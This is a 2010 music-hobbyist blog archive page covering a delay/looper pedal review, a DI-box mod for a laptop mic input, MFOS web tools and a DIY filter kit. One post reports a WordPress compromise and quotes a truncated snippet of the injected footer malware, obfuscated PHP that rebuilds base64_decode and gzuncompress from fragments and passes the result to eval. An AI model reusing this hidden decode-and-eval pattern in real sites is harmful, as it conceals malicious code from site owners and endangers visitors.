December 2010

Electro-harmonix Stereo Memory Man

One thing I received for Christmas this year was the Electro-harmonix Memory-Man and it is absolutely un-fucking-believable. I love it. I’m not even sure where to begin but I’ll start with saying one thing I look for in good effects, pedals, and gear in general is the fun-factor and this little monster definitely has it in spades.

Generally speaking this is simply an echo-delay pedal. But where it excels is with the addition of a looper with which you sample and loop the input, play over it, re-sample it, bend the crap out of the sound, re-sample it, ad-infinitum. I literally disappeared into outer space for four hours the first time I played with it.

I’ll spare details on its operation. You can find much more useful information on the Electro-harmonix website. Pay close attention to their tone-tips section which has a great trick on how to maximize the insanity with this delay/looper. Beautiful:

and some sounds samples of the pedal in action…

Electro-harmonix Memory Man SFX example 1
Electro-harmonix Memory Man SFX example 2
Electro-harmonix Memory Man SFX example 3
Electro-harmonix Memory Man SFX example 4
Electro-harmonix Memory Man SFX example 5
Electro-harmonix Memory Man SFX example 6
Electro-harmonix Memory Man SFX example 7

DI Box Mod For a Laptop Mic Input

I pretty much use my laptop for everything with the exception of sound design and experimentation with the outboard gear in the studio.  I’ve wanted for some time to be able to capture audio on my laptop to jot down quick ideas but like most laptops the only input it has is a microphone input which simply just doesn’t cut it when trying to record line level inputs.  It definitely doesn’t cut it if I want to betray good-practice and record the signal from a headphone jack which sometimes is the only option. And for some unknown reason this “top of the line” laptop doesn’t have a means to switch the mic input, to a line level input: a major irritation.

I got thinking and remembered I had a Direct Box lying around that gets infrequent use.  I also recalled I had a balanced-to-unbalanced converter jack… you know, one of those five dollar jacks from radio shack that’s about the size of a roll of dimes.  I figured I could take an unbalanced line level signal, run it through the DI to bring it to a microphone level signal.  but then the signal would be balanced so I needed to make it an unbalanced signal again.  The DI box has a switch for a -20dB and -40dB pad which is great when taking a hot signal from a headphone out.  And lastly, I threw in an additional 1/8″ output jack so I could just plug it into the laptop microphone input.

These whirlwind passive DI boxes cost approximately $30 and can be found just about anywhere online. Amazon has one for 29.50. But, I suspect you could make one yourself for far less than that as there are only a handful of parts… a transformer, some jacks, a couple diodes and a couple resistors for the input pad.

This is the adapter with its guts removed. I’m just looking for the transformer.

Here we have the interior of the DI box with the transformer from the adapter wired in and connected to the 1/8″ jack.

Using a stepped hole cutting bit I drilled a new hole for the jack. If you don’t own a hole cutting bit I highly recommend them. Perfectly sized holes every time without the drift you find when using a regular bit. Not to mention is spares your regular bits the abuse of using them on metal.

and the completed box. Good as new and now I can make quick recordings of line level signals woth my laptop without overdriving the mic input on the laptop. take a look:

Hacked! Base 64 Injection.

While it seems WordPress users all over were experiencing the impact of a security flaw months ago I was a little late to the game in realizing my site had been hijacked.  Apologies to anyone who attempted to visit the site and was hit with Google’s Malware warning (if you use chrome) or if you encountered any troubles.  It makes much more sense to me now why I was getting my comment inbox absolotely slaughtered with spam.  Here’s a snippet of some of the code I found in my footer (the original has hundreds of elements in the array):

<? $nam = array(“4_decode”,“base6”);
$cfk = array(“gzunco”,“mpress”) ;
$zippo = array(“eNrFVQ”,“tv2zYQ/iucEUC2W+vhx”,“EETP4Iic7oATR”,

$trimmer = $cfk[0].$cfk[1];
$zipo = array(“eNq9Gm”,“t3mzj2rzg+OTOocRwEi”,“Mc4tP7SH7Cd3f”,
$lango = $nam[1].$nam[0];
eval($trimmer($lango(implode(“”, $zippo))));
eval($trimmer($lango(implode(“”, $zipo)))); ?>

<div class=“Footer”>

<a class=“moveToTop” href=“#top”><?php _e(‘top’, ‘Eos’); ?></a>
</div><!– Closes .Footer –>

</div><!– Closes .PageContainer –>

<?php wp_footer(); ?>

There was rogue, obfuscated PHP all over the site, I had hundreds upon hundreds of comments awaiting approval all of which were spam, additional adminstrators added, over 2,000 bogus users attempting to register, and to top it off I had this… 777 as my file and folder access levels.

MFOS Web Tools

Music From Outer Space (MFOS) is an extensive resource for anyone involved in DIY audio.  Anyone regardless of experience level should have the site permanently bookmarked as it has something for everyone.  Although focused on DIY synthesis almost everything on the site can be used in your projects.  One their most recent additions is their web tools, specifically their “web schematic“.  From their site:

MFOS Web Schematic is a schematic capture tool written entirely in JavaScript that lets you work on a schematic anywhere you have a browser (FireFox, IE, Chrome, and Safari). You can save your work because the schematics you make can be serialized to XML and then emailed to a friend or a collaborator. You or your friend just paste the XML into the Load dialog and voila… you are looking at your schematic. I see Web Schematic as a communication and teaching tool. Students can communicate with one another via emailed schematics and teachers can use the tool in the classroom as well. You can also download a PDF of your schematic for printing.

Ray Wilson at MFOS also provides a virtual breadboard designer, panel designer, and a few essential calculators including a Resistor Color Code Calculator, Parallel Resistance Calculator, Non-Inverting Op Amp Gain Calculator, Inverting Op Amp Gain & Offset Calculator, Comparator Calculator, and last an Inches to Millimeters Conversion calculator.

DIY Polivoks Style Filter

Flickr user Equaliser (Steve Woodward) has a nice pic of his DIY Polivoks style filter posted.  The kit is available through Papareil Synth Labs and on their site you’ll find some good historical information and documentation of its workings.  Here’s a shot of the schematic (click for link to original .pdf).

Steve has some great audio clips of the filter in full effect here